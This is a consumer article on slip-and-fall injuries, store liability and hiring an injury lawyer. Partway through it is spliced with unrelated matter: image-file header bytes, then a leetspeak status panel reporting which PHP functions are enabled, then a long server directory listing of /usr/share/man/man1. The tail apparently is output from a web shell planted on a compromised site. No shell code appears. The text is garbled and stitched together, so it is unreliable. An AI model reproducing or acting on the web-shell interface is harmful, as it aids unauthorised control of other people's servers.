Businesses are responsible for keeping their stores and offices safe for customers, but occasionally, accidents can happen. If you slip and fall on something inside a store, the company could potentially be liable for your injuries. It’s easy to fall on ice in a doorway, a water spill without a “Wet Floor” sign, or an item that falls off of shelves into your path. The injuries sustained from falling can sometimes be severe, including bone fractures or even brain damage.
When Should You Ask for Compensation
The circumstances of an accident can determine whether courts will consider that store to be at fault for your injuries. You could potentially sue them to cover your medical bills and other damages. However, for suing them for compensation, businesses need to be at fault. Given below are two conditions.
- If the business should have known about the problem and fixed it, then a slip and fall-compensation need to be made. It is specifically the case of the problem that led to your injury. For example, if they neglect to clean up a spill or fix a tear in the carpeting that made you fall, they might be liable.
- The customer was unable to avoid the unsafe condition. If there was supposed to be a “Wet Floor” sign in place, but it wasn’t put there, then it may be the store’s fault.
Why Hire Slip and Fall Lawyers
However, just because the company or business is at fault doesn’t mean they will compensate you for injuries. If anything, they will try to either make you a lowball offer or deny you any compensation.
This is where a slip-and-fall lawyer comes in. An injury lawyer will consult with you about your case, sometimes even for free. They’ll look at the details and determine whether you might have cause to sue the company. The biggest concern is proving the store’s liability. You must be able to prove that you’re injured and that the store is at fault. Falls can happen very quickly, and you may have to retrace your steps, figuratively speaking, in order to figure out exactly how your accident happened. For example, if you fell down a staircase, was it due to a faulty handrail or uneven steps? If so, the owner of the store or building could be liable. If you fell because you were carrying too many items, distracted by your cell phone, or even because you tripped over your own shoelaces, the court might not rule in your favour. If a slip-and-fall lawyer does decide to take your case, part of their process is visiting the scene of the accident to look at where it happened.
Your slip and fall lawyer will also need to help you gather the needed information that proves you were injured. For example, you should provide medical history through your doctors proving that you were, in fact, treated for an injury from falling. Your lawyer will most likely have assistants that routinely communicate with hospitals and medical offices to obtain this information. In addition to your medical bills, you may be eligible for further damages if your injuries impede you from working. The lawyer can use your employer’s records and your tax forms to prove this.
JFIF ICC_PROFILE 0 mntrRGB XYZ acsp - desc $rXYZ gXYZ ( bXYZ < wtpt P rTRC d (gTRC d (bTRC d (cprt[ mail() : 0N ] [ mb_send_mail() : 0N ] [ error_log() : 0N ] [ imap_mail() : 0FF ]
[ Function putenv() : 0N ]
D1R: //usr/share/man/man1/ -> H0M3
|
|
| P3RMISSI0NZ | ||||||
|---|---|---|---|---|---|---|
| . | 61440 | 2026-09-17 06:36:45 | 0755 | |||
| .. | 4096 | 2026-06-10 10:10:10 | 0755 | |||
| CA.pl.1ssl.gz | 3385 | 2026-08-18 12:10:36 | 0644 | |||
| NF.1.gz | 775 | 2024-02-10 17:03:36 | 0644 | |||
| [.1.gz | 1756 | 2026-08-25 15:09:03 | 0644 | |||
| a2query.1.gz | 1889 | 2026-07-06 16:27:55 | 0644 | |||
| aa-enabled.1.gz | 1506 | 2026-04-13 22:29:23 | 0644 | |||
| aa-exec.1.gz | 1710 | 2026-04-13 22:29:23 | 0644 | |||
| aa-features-abi.1.gz | 1430 | 2026-04-13 22:29:23 | 0644 | |||
| ab.1.gz | 3847 | 2026-07-06 16:27:55 | 0644 | |||
| add-apt-repository.1.gz | 2678 | 2026-01-05 16:17:49 | 0644 | |||
| apport-bug.1.gz | 1559 | 2026-04-28 17:12:59 | 0644 | |||
| apport-cli.1.gz | 2096 | 2026-04-28 17:12:59 | 0644 | |||
| apport-collect.1.gz | 1559 | 2026-04-28 17:12:59 | 0644 | |||
| apport-unpack.1.gz | 468 | 2026-04-28 17:12:59 | 0644 | |||
| appstreamcli.1.gz | 3998 | 2024-04-08 14:37:41 | 0644 | |||
| apropos.1.gz | 2805 | 2024-04-08 14:45:49 | 0644 | |||
| apt-add-repository.1.gz | 2678 | 2026-01-05 16:17:49 | 0644 | |||
| apt-extracttemplates.1.gz | 1569 | 2024-10-22 13:02:22 | 0644 | |||
| apt-ftparchive.1.gz | 6438 | 2024-10-22 13:02:22 | 0644 | |||
| apt-sortpkgs.1.gz | 1463 | 2024-10-22 13:02:22 | 0644 | |||
| apt-transport-http.1.gz | 2901 | 2024-10-22 13:02:22 | 0644 | |||
| apt-transport-https.1.gz | 2627 | 2024-10-22 13:02:22 | 0644 | |||
| apt-transport-mirror.1.gz | 3145 | 2024-10-22 13:02:22 | 0644 | |||
| arch.1.gz | 689 | 2026-08-25 15:09:03 | 0644 | |||
| aria_chk.1.gz | 3140 | 2025-10-11 02:08:29 | 0644 | |||
| aria_dump_log.1.gz | 726 | 2025-10-11 02:08:29 | 0644 | |||
| aria_ftdump.1.gz | 432 | 2025-10-11 02:08:29 | 0644 | |||
| aria_pack.1.gz | 1036 | 2025-10-11 02:08:29 | 0644 | |||
| aria_read_log.1.gz | 1446 | 2025-10-11 02:08:29 | 0644 | |||
| asn1parse.1ssl.gz | 1956 | 2026-08-18 12:10:36 | 0644 | |||
| awk.1.gz | 19414 | 2026-07-20 22:38:24 | 0644 | |||
| b2sum.1.gz | 1346 | 2026-08-25 15:09:03 | 0644 | |||
| base32.1.gz | 991 | 2026-08-25 15:09:03 | 0644 | |||
| base64.1.gz | 991 | 2026-08-25 15:09:03 | 0644 | |||
| basename.1.gz | 967 | 2026-08-25 15:09:03 | 0644 | |||
| basenc.1.gz | 1341 | 2026-08-25 15:09:03 | 0644 | |||
| bash.1.gz | 97471 | 2024-03-31 08:41:03 | 0644 | |||
| bashbug.1.gz | 804 | 2024-03-31 08:41:03 | 0644 | |||
| bc.1.gz | 12185 | 2024-04-08 14:37:38 | 0644 | |||
| bdftopcf.1.gz | 1770 | 2024-04-08 16:22:57 | 0644 | |||
| bdftruncate.1.gz | 588 | 2024-04-08 16:22:57 | 0644 | |||
| boltctl.1.gz | 2913 | 2024-04-01 18:13:27 | 0644 | |||
| busctl.1.gz | 5225 | 2026-07-28 15:04:45 | 0644 | |||
| byobu-config.1.gz | 558 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-ctrl-a.1.gz | 723 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-disable-prompt.1.gz | 827 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-disable.1.gz | 677 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-enable-prompt.1.gz | 827 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-enable.1.gz | 677 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-export.1.gz | 605 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-janitor.1.gz | 645 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-keybindings.1.gz | 717 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-launch.1.gz | 558 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-launcher-install.1.gz | 747 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-launcher-uninstall.1.gz | 619 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-launcher.1.gz | 558 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-layout.1.gz | 607 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-prompt.1.gz | 827 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-quiet.1.gz | 686 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-reconnect-sockets.1.gz | 651 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-screen.1.gz | 507 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-select-backend.1.gz | 759 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-select-profile.1.gz | 655 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-select-session.1.gz | 930 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-shell.1.gz | 545 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-silent.1.gz | 638 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-status-detail.1.gz | 515 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-status.1.gz | 536 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-tmux.1.gz | 506 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-ugraph.1.gz | 1218 | 2024-02-10 17:03:36 | 0644 | |||
| byobu-ulevel.1.gz | 1607 | 2024-02-10 17:03:36 | 0644 | |||
| byobu.1.gz | 6794 | 2024-02-10 17:03:36 | 0644 | |||
| c_rehash.1ssl.gz | 2863 | 2026-08-18 12:10:36 | 0644 | |||
| ca.1ssl.gz | 1956 | 2026-08-18 12:10:36 | 0644 | |||
| capsh.1.gz | 3849 | 2026-04-09 15:04:27 | 0644 | |||
| captoinfo.1.gz | 3061 | 2026-08-31 11:36:06 | 0644 | |||
| cat.1.gz | 999 | 2026-08-25 15:09:03 | 0644 | |||
| certbot.1.gz | 11206 | 2024-02-09 01:14:24 | 0644 | |||
| cgi-fcgi.1.gz | 2038 | 2025-04-30 08:36:00 | 0644 | |||
| chage.1.gz | 2262 | 2024-05-30 14:52:35 | 0644 | |||
| chardet.1.gz | 462 | 2023-08-20 12:12:03 | 0644 | |||
| chardetect.1.gz | 462 | 2023-08-20 12:12:03 | 0644 | |||
| chattr.1.gz | 3480 | 2024-04-28 23:44:46 | 0644 | |||
| chcon.1.gz | 1283 | 2026-08-25 15:09:03 | 0644 | |||
| chfn.1.gz | 1818 | 2024-05-30 14:52:35 | 0644 | |||
| chgrp.1.gz | 1291 | 2026-08-25 15:09:03 | 0644 | |||
| chmod.1.gz | 2741 | 2026-08-25 15:09:03 | 0644 | |||
| choom.1.gz | 1660 | 2026-08-19 16:47:51 | 0644 | |||
| chown.1.gz | 1807 | 2026-08-25 15:09:03 | 0644 | |||
| chronyc.1.gz | 19134 | 2024-10-02 12:40:49 | 0644 | |||
| chrt.1.gz | 2315 | 2026-08-19 16:47:51 | 0644 | |||
| chsh.1.gz | 1306 | 2024-05-30 14:52:35 | 0644 | |||
| chvt.1.gz | 417 | 2024-03-31 09:02:08 | 0644 | |||
| cifsiostat.1.gz | 2092 | 2024-01-09 20:31:44 | 0644 | |||
| ciphers.1ssl.gz | 1956 | 2026-08-18 12:10:36 | 0644 | |||
| ckbcomp.1.gz | 1776 | 2024-02-26 12:58:31 | 0644 | |||
| cksum.1.gz | 1457 | 2026-08-25 15:09:03 | 0644 | |||
| clear.1.gz | 2790 | 2026-08-31 11:36:06 | 0644 | |||
| clear_console.1.gz | 1194 | 2024-03-31 08:41:03 | 0644 | |||
| cloud-id.1.gz | 575 | 2026-03-30 18:55:18 | 0644 | |||
| cloud-init-per.1.gz | 580 | 2026-03-30 18:55:18 | 0644 | |||
| cloud-init.1.gz | 1019 | 2026-03-30 18:55:18 | 0644 | |||
| cmp.1.gz | 1183 | 2026-08-26 18:15:46 | 0644 | |||
| cmp.1ssl.gz | 1956 | 2026-08-18 12:10:36 | 0644 | |||
| cms.1ssl.gz | 1956 | 2026-08-18 12:10:36 | 0644 | |||
| codepage.1.gz | 476 | 2024-03-31 09:02:08 | 0644 | |||
| col.1.gz | 1652 | 2026-08-19 16:47:51 | 0644 | |||
| col1.1.gz | 775 | 2024-02-10 17:03:36 | 0644 | |||
| col2.1.gz | 775 | 2024-02-10 17:03:36 | 0644 | |||
| col3.1.gz | 775 | 2024-02-10 17:03:36 | 0644 | |||
| col4.1.gz | 775 | 2024-02-10 17:03:36 | 0644 | |||
| col5.1.gz | 775 | 2024-02-10 17:03:36 | 0644 | |||
| col6.1.gz | 775 | 2024-02-10 17:03:36 | 0644 | |||
| col7.1.gz | 775 | 2024-02-10 17:03:36 | 0644 | |||
| col8.1.gz | 775 | 2024-02-10 17:03:36 | 0644 | |||
| col9.1.gz | 775 | 2024-02-10 17:03:36 | 0644 | |||
| colcrt.1.gz | 1392 | 2026-08-19 16:47:51 | 0644 | |||
| colrm.1.gz | 870 | 2026-08-19 16:47:51 | 0644 | |||
| column.1.gz | 3454 | 2026-08-19 16:47:51 | 0644 | |||
| comm.1.gz | 1116 | 2026-08-25 15:09:03 | 0644 | |||
| corelist.1.gz | 2651 | 2026-09-14 17:50:06 | 0644 | |||
| cp.1.gz | 2687 | 2026-08-25 15:09:03 | 0644 | |||
| cpan.1.gz | 4410 | 2026-09-14 17:50:06 | 0644 | |||
| cpan5.38-x86_64-linux-gnu.1.gz | 4410 | 2026-09-14 17:50:06 | 0644 | |||
| cpio.1.gz | 4176 | 2026-08-18 18:18:51 | 0644 | |||
| cpupower-frequency-info.1.gz | 1104 | 2026-08-01 02:25:37 | 0644 | |||
| cpupower-frequency-set.1.gz | 883 | 2026-08-01 02:25:37 | 0644 | |||
| cpupower-idle-info.1.gz | 1670 | 2026-08-01 02:25:37 | 0644 | |||
| cpupower-idle-set.1.gz | 1167 | 2026-08-01 02:25:37 | 0644 | |||
| cpupower-info.1.gz | 393 | 2026-08-01 02:25:37 | 0644 | |||
| cpupower-monitor.1.gz | 3003 | 2026-08-01 02:25:37 | 0644 | |||
| cpupower-powercap-info.1.gz | 475 | 2026-08-01 02:25:37 | 0644 | |||
| cpupower-set.1.gz | 1158 | 2026-08-01 02:25:37 | 0644 | |||
| cpupower.1.gz | 822 | 2026-08-01 02:25:37 | 0644 | |||
| crl.1ssl.gz | 1956 | 2026-08-18 12:10:36 | 0644 | |||
| crl2pkcs7.1ssl.gz | 1956 | 2026-08-18 12:10:36 | 0644 | |||
| crontab.1.gz | 3041 | 2024-03-31 00:06:27 | 0644 | |||
| csplit.1.gz | 1190 | 2026-08-25 15:09:03 | 0644 | |||
| ctail.1.gz | 524 | 2024-02-10 17:03:36 | 0644 | |||
| curl.1.gz | 63504 | 2026-08-20 19:24:23 | 0644 | |||
| cut.1.gz | 1239 | 2026-08-25 15:09:03 | 0644 | |||
| cvtsudoers.1.gz | 7951 | 2026-03-02 12:56:19 | 0644 | |||
| dash.1.gz | 21634 | 2024-03-31 08:47:26 | 0644 | |||
| date.1.gz | 2786 | 2026-08-25 15:09:03 | 0644 | |||
| dbilogstrip.1p.gz | 1382 | 2026-06-22 07:05:12 | 0644 | |||
| dbiprof.1p.gz | 2372 | 2026-06-22 07:05:12 | 0644 | |||
| dbiproxy.1p.gz | 2948 | 2026-06-22 07:05:12 | 0644 | |||
| dbus-cleanup-sockets.1.gz | 1178 | 2024-08-09 02:33:22 | 0644 | |||
| dbus-daemon.1.gz | 15461 | 2024-08-09 02:33:22 | 0644 | |||
| dbus-monitor.1.gz | 1697 | 2024-08-09 02:33:22 | 0644 | |||
| dbus-run-session.1.gz | 1722 | 2024-08-09 02:33:22 | 0644 | |||
| dbus-send.1.gz | 2266 | 2024-08-09 02:33:22 | 0644 | |||
| dbus-update-activation-environment.1.gz | 2231 | 2024-08-09 02:33:22 | 0644 | |||
| dbus-uuidgen.1.gz | 1701 | 2024-08-09 02:33:22 | 0644 | |||
| dbxtool.1.gz | 396 | 2026-06-12 07:13:00 | 0644 | |||
| dd.1.gz | 1850 | 2026-08-25 15:09:03 | 0644 | |||
| deallocvt.1.gz | 467 | 2024-03-31 09:02:08 | 0644 | |||
| deb-systemd-helper.1p.gz | 2076 | 2023-12-06 07:50:15 | 0644 | |||
| deb-systemd-invoke.1p.gz | 1456 | 2023-12-06 07:50:15 | 0644 | |||
| debconf-apt-progress.1.gz | 2719 | 2024-04-12 12:40:53 | 0644 | |||
| debconf-communicate.1.gz | 1361 | 2024-04-12 12:40:53 | 0644 | |||
| debconf-copydb.1.gz | 1889 | 2024-04-12 12:40:53 | 0644 | |||
| debconf-escape.1.gz | 1202 | 2024-04-12 12:40:53 | 0644 | |||
| debconf-set-selections.1.gz | 1892 | 2024-04-12 12:40:53 | 0644 | |||
| debconf-show.1.gz | 1304 | 2024-04-12 12:40:53 | 0644 | |||
| debconf.1.gz | 1639 | 2024-04-12 12:40:53 | 0644 | |||
| debian-distro-info.1.gz | 1426 | 2024-04-08 15:56:08 | 0644 | |||
| delv.1.gz | 5001 | 2026-08-27 14:10:14 | 0644 | |||
| df.1.gz | 1860 | 2026-08-25 15:09:03 | 0644 | |||
| dgst.1ssl.gz | 1956 | 2026-08-18 12:10:36 | 0644 | |||
| dh_bash-completion.1.gz | 2288 | 2023-09-18 00:38:13 | 0644 | |||
| dh_installxmlcatalogs.1.gz | 3115 | 2023-12-12 02:01:07 | 0644 | |||
| dh_perl_dbi.1.gz | 1406 | 2026-06-22 07:05:12 | 0644 | |||
| dhparam.1ssl.gz | 1956 | 2026-08-18 12:10:36 | 0644 | |||
| diff.1.gz | 2658 | 2026-08-26 18:15:46 | 0644 | |||
| diff3.1.gz | 1365 | 2026-08-26 18:15:46 | 0644 | |||
| dig.1.gz | 10198 | 2026-08-27 14:10:14 | 0644 | |||
| dir.1.gz | 3271 | 2026-08-25 15:09:03 | 0644 | |||
| dircolors.1.gz | 898 | 2026-08-25 15:09:03 | 0644 | |||
| dirmngr-client.1.gz | 1741 | 2026-09-02 19:38:56 | 0644 | |||
| dirname.1.gz | 871 | 2026-08-25 15:09:03 | 0644 | |||
| distro-info.1.gz | 1316 | 2024-04-08 15:56:08 | 0644 | |||
| dmesg.1.gz | 3774 | 2026-08-19 16:47:51 | 0644 | |||
| dnsdomainname.1.gz | 2715 | 2024-04-08 15:59:01 | 0644 | |||
| domainname.1.gz | 2715 | 2024-04-08 15:59:01 | 0644 | |||
| dpkg-deb.1.gz | 5269 | 2026-05-06 17:38:18 | 0644 | |||
| dpkg-divert.1.gz | 3343 | 2026-05-06 17:38:18 | 0644 | |||
| dpkg-maintscript-helper.1.gz | 4747 | 2026-05-06 17:38:18 | 0644 | |||
| dpkg-query.1.gz | 6400 | 2026-05-06 17:38:18 | 0644 | |||
| dpkg-realpath.1.gz | 1654 | 2026-05-06 17:38:18 | 0644 | |||
| dpkg-split.1.gz | 4237 | 2026-05-06 17:38:18 | 0644 | |||
| dpkg-statoverride.1.gz | 3191 | 2026-05-06 17:38:18 | 0644 | |||
| dpkg-trigger.1.gz | 2459 | 2026-05-06 17:38:18 | 0644 | |||
| dpkg.1.gz | 17494 | 2026-05-06 17:38:18 | 0644 | |||
| dsa.1ssl.gz | 1956 | 2026-08-18 12:10:36 | 0644 | |||
| dsaparam.1ssl.gz | 1956 | 2026-08-18 12:10:36 | 0644 | |||
| du.1.gz | 2282 | 2026-08-25 15:09:03 | 0644 | |||
| dumpkeys.1.gz | 2304 | 2024-03-31 09:02:08 | 0644 | |||
| dvipdf.1.gz | 451 | 2025-09-25 16:37:20 | 0644 | |||
| eatmydata.1.gz | 1438 | 2024-04-08 17:00:44 | 0644 | |||
| ec.1ssl.gz | 1956 | 2026-08-18 12:10:36 | 0644 | |||
| echo.1.gz | 1105 | 2026-08-25 15:09:03 | 0644 | |||
| ecparam.1ssl.gz | 1956 | 2026-08-18 12:10:36 | 0644 | |||
| ed.1.gz | 1528 | 2024-02-17 11:12:41 | 0644 | |||
| editor.1.gz | 7529 | 2026-06-03 22:50:15 | 0644 | |||
| egrep.1.gz | 10950 | 2024-04-08 15:58:39 | 0644 | |||
| eject.1.gz | 3173 | 2026-08-19 16:47:51 | 0644 | |||
| enc.1ssl.gz | 1956 | 2026-08-18 12:10:36 | 0644 | |||
| enc2xs.1.gz | 4394 | 2026-09-14 17:50:06 | 0644 | |||
| encguess.1.gz | 1751 | 2026-09-14 17:50:06 | 0644 | |||
| engine.1ssl.gz | 1956 | 2026-08-18 12:10:36 | 0644 | |||
| env.1.gz | 1922 | 2026-08-25 15:09:03 | 0644 | |||
| envsubst.1.gz | 1019 | 2024-04-08 15:58:30 | 0644 | |||
| eps2eps.1.gz | 651 | 2025-09-25 16:37:20 | 0644 | |||
| eqn.1.gz | 12519 | 2024-03-31 08:54:31 | 0644 | |||
| errstr.1ssl.gz | 1956 | 2026-08-18 12:10:36 | 0644 | |||
| ex.1.gz | 5508 | 2026-08-24 22:13:04 | 0644 | |||
| expand.1.gz | 979 | 2026-08-25 15:09:03 | 0644 | |||
| expiry.1.gz | 830 | 2024-05-30 14:52:35 | 0644 | |||
| expr.1.gz | 1320 | 2026-08-25 15:09:03 | 0644 | |||
| factor.1.gz | 776 | 2026-08-25 15:09:03 | 0644 | |||
| fail2ban-client.1.gz | 3440 | 2024-06-10 21:27:45 | 0644 | |||
| fail2ban-python.1.gz | 1727 | 2024-06-10 21:27:45 | 0644 | |||
| fail2ban-regex.1.gz | 1787 | 2024-06-10 21:27:45 | 0644 | |||
| fail2ban-server.1.gz | 960 | 2024-06-10 21:27:45 | 0644 | |||
| fail2ban-testcases.1.gz | 739 | 2024-06-10 21:27:45 | 0644 | |||
| fail2ban.1.gz | 1006 | 2024-06-10 21:27:45 | 0644 | |||
| fallocate.1.gz | 2523 | 2026-08-19 16:47:51 | 0644 | |||
| false.1.gz | 782 | 2026-08-25 15:09:03 | 0644 | |||
| fgconsole.1.gz | 544 | 2024-03-31 09:02:08 | 0644 | |||
| fgrep.1.gz | 10950 | 2024-04-08 15:58:39 | 0644 | |||
| filan.1.gz | 43890 | 2026-07-03 12:45:49 | 0644 | |||
| file.1.gz | 8858 | 2024-03-31 07:35:22 | 0644 | |||
| finalrd.1.gz | 2274 | 2022-02-16 16:56:26 | 0644 | |||
| find.1.gz | 24263 | 2024-04-08 15:57:28 | 0644 | |||
| flock.1.gz | 2854 | 2026-08-19 16:47:51 | 0644 | |||
| fmt.1.gz | 1064 | 2026-08-25 15:09:03 | 0644 | |||
| fold.1.gz | 845 | 2026-08-25 15:09:03 | 0644 | |||
| fonttosfnt.1.gz | 964 | 2024-04-08 16:22:57 | 0644 | |||
| free.1.gz | 2000 | 2024-09-26 08:44:05 | 0644 | |||
| ftp.1.gz | 17356 | 2024-04-08 14:50:55 | 0644 | |||
| fuser.1.gz | 3232 | 2024-03-31 17:02:29 | 0644 | |||
| fusermount.1.gz | 724 | 2024-04-08 15:57:57 | 0644 | |||
| fusermount3.1.gz | 724 | 2024-04-08 15:57:57 | 0644 | |||
| fwupdmgr.1.gz | 3794 | 2026-06-12 07:13:00 | 0644 | |||
| fwupdtool.1.gz | 769 | 2026-06-12 07:13:00 | 0644 | |||
| galera_new_cluster.1.gz | 542 | 2025-10-11 02:08:29 | 0644 | |||
| galera_recovery.1.gz | 337 | 2025-10-11 02:08:29 | 0644 | |||
| gapplication.1.gz | 2270 | 2026-01-28 17:53:07 | 0644 | |||
| gawk.1.gz | 19414 | 2026-07-20 22:38:24 | 0644 | |||
| gawkbug.1.gz | 1015 | 2026-07-20 22:38:24 | 0644 | |||
| gdbus.1.gz | 3207 | 2026-01-28 17:53:07 | 0644 | |||
| gendsa.1ssl.gz | 1956 | 2026-08-18 12:10:36 | 0644 | |||
| genpkey.1ssl.gz | 1956 | 2026-08-18 12:10:36 | 0644 | |||
| genrsa.1ssl.gz | 1956 | 2026-08-18 12:10:36 | 0644 | |||
| geqn.1.gz | 12519 | 2024-03-31 08:54:31 | 0644 | |||
| getconf.1.gz | 2346 | 2026-09-03 14:15:12 | 0644 | |||
| getent.1.gz | 1937 | 2024-04-02 16:20:34 | 0644 | |||
| getopt.1.gz | 4744 | 2026-08-19 16:47:51 | 0644 | |||
| gettext.1.gz | 1227 | 2024-04-08 15:58:30 | 0644 | |||
| ghostscript.1.gz | 5367 | 2025-09-25 16:37:20 | 0644 | |||
| ginstall-info.1.gz | 1746 | 2024-03-30 23:49:47 | 0644 | |||
| gio-querymodules.1.gz | 681 | 2026-01-28 17:53:07 | 0644 | |||
| gio.1.gz | 4796 | 2026-01-28 17:53:07 | 0644 | |||
| git-add.1.gz | 6547 | 2025-07-02 20:23:42 | 0644 | |||
| git-am.1.gz | 4372 | 2025-07-02 20:23:42 | 0644 | |||
| git-annotate.1.gz | 3576 | 2025-07-02 20:23:42 | 0644 | |||
| git-apply.1.gz | 4889 | 2025-07-02 20:23:42 | 0644 | |||
| git-archive.1.gz | 3682 | 2025-07-02 20:23:42 | 0644 | |||
| git-bisect.1.gz | 6540 | 2025-07-02 20:23:42 | 0644 | |||
| git-blame.1.gz | 7057 | 2025-07-02 20:23:42 | 0644 | |||
| git-branch.1.gz | 7828 | 2025-07-02 20:23:42 | 0644 | |||
| git-bugreport.1.gz | 1659 | 2025-07-02 20:23:42 | 0644 | |||
| git-bundle.1.gz | 4658 | 2025-07-02 20:23:42 | 0644 | |||
| git-cat-file.1.gz | 5213 | 2025-07-02 20:23:42 | 0644 | |||
| git-check-attr.1.gz | 1829 | 2025-07-02 20:23:42 | 0644 | |||
| git-check-ignore.1.gz | 2300 | 2025-07-02 20:23:42 | 0644 | |||
| git-check-mailmap.1.gz | 1023 | 2025-07-02 20:23:42 | 0644 | |||
| git-check-ref-format.1.gz | 2904 | 2025-07-02 20:23:42 | 0644 | |||
| git-checkout-index.1.gz | 2851 | 2025-07-02 20:23:42 | 0644 | |||
| git-checkout.1.gz | 8607 | 2025-07-02 20:23:42 | 0644 | |||
| git-cherry-pick.1.gz | 4291 | 2025-07-02 20:23:42 | 0644 | |||
| git-cherry.1.gz | 1915 | 2025-07-02 20:23:42 | 0644 | |||
| git-clean.1.gz | 2507 | 2025-07-02 20:23:42 | 0644 | |||
| git-clone.1.gz | 7234 | 2025-07-02 20:23:42 | 0644 | |||
| git-column.1.gz | 1945 | 2025-07-02 20:23:42 | 0644 | |||
| git-commit-graph.1.gz | 2963 | 2025-07-02 20:23:42 | 0644 | |||
| git-commit-tree.1.gz | 3496 | 2025-07-02 20:23:42 | 0644 | |||
| git-commit.1.gz | 10379 | 2025-07-02 20:23:42 | 0644 | |||
| git-config.1.gz | 88203 | 2025-07-02 20:23:42 | 0644 | |||
| git-count-objects.1.gz | 1085 | 2025-07-02 20:23:42 | 0644 | |||
| git-credential-cache--daemon.1.gz | 992 | 2025-07-02 20:23:42 | 0644 | |||
| git-credential-cache.1.gz | 1539 | 2025-07-02 20:23:42 | 0644 | |||
| git-credential-store.1.gz | 2083 | 2025-07-02 20:23:42 | 0644 | |||
| git-credential.1.gz | 3423 | 2025-07-02 20:23:42 | 0644 | |||
| git-daemon.1.gz | 5072 | 2025-07-02 20:23:42 | 0644 | |||
| git-describe.1.gz | 3620 | 2025-07-02 20:23:42 | 0644 | |||
| git-diagnose.1.gz | 1570 | 2025-07-02 20:23:42 | 0644 | |||
| git-diff-files.1.gz | 15273 | 2025-07-02 20:23:42 | 0644 | |||
| git-diff-index.1.gz | 16641 | 2025-07-02 20:23:42 | 0644 | |||
| git-diff-tree.1.gz | 22749 | 2025-07-02 20:23:42 | 0644 | |||
| git-diff.1.gz | 20512 | 2025-07-02 20:23:42 | 0644 | |||
| git-difftool.1.gz | 2797 | 2025-07-02 20:23:42 | 0644 | |||
| git-fast-export.1.gz | 4760 | 2025-07-02 20:23:42 | 0644 | |||
| git-fast-import.1.gz | 20876 | 2025-07-02 20:23:42 | 0644 | |||
| git-fetch-pack.1.gz | 2404 | 2025-07-02 20:23:42 | 0644 | |||
| git-fetch.1.gz | 14118 | 2025-07-02 20:23:42 | 0644 | |||
| git-filter-branch.1.gz | 11795 | 2025-07-02 20:23:42 | 0644 | |||
| git-fmt-merge-msg.1.gz | 1621 | 2025-07-02 20:23:42 | 0644 | |||
| git-for-each-ref.1.gz | 7007 | 2025-07-02 20:23:42 | 0644 | |||
| git-for-each-repo.1.gz | 1193 | 2025-07-02 20:23:42 | 0644 | |||
| git-format-patch.1.gz | 16638 | 2025-07-02 20:23:42 | 0644 | |||
| git-fsck-objects.1.gz | 664 | 2025-07-02 20:23:42 | 0644 | |||
| git-fsck.1.gz | 5398 | 2025-07-02 20:23:42 | 0644 | |||
| git-fsmonitor--daemon.1.gz | 2214 | 2025-07-02 20:23:42 | 0644 | |||
| git-gc.1.gz | 5721 | 2025-07-02 20:23:42 | 0644 | |||
| git-get-tar-commit-id.1.gz | 842 | 2025-07-02 20:23:42 | 0644 | |||
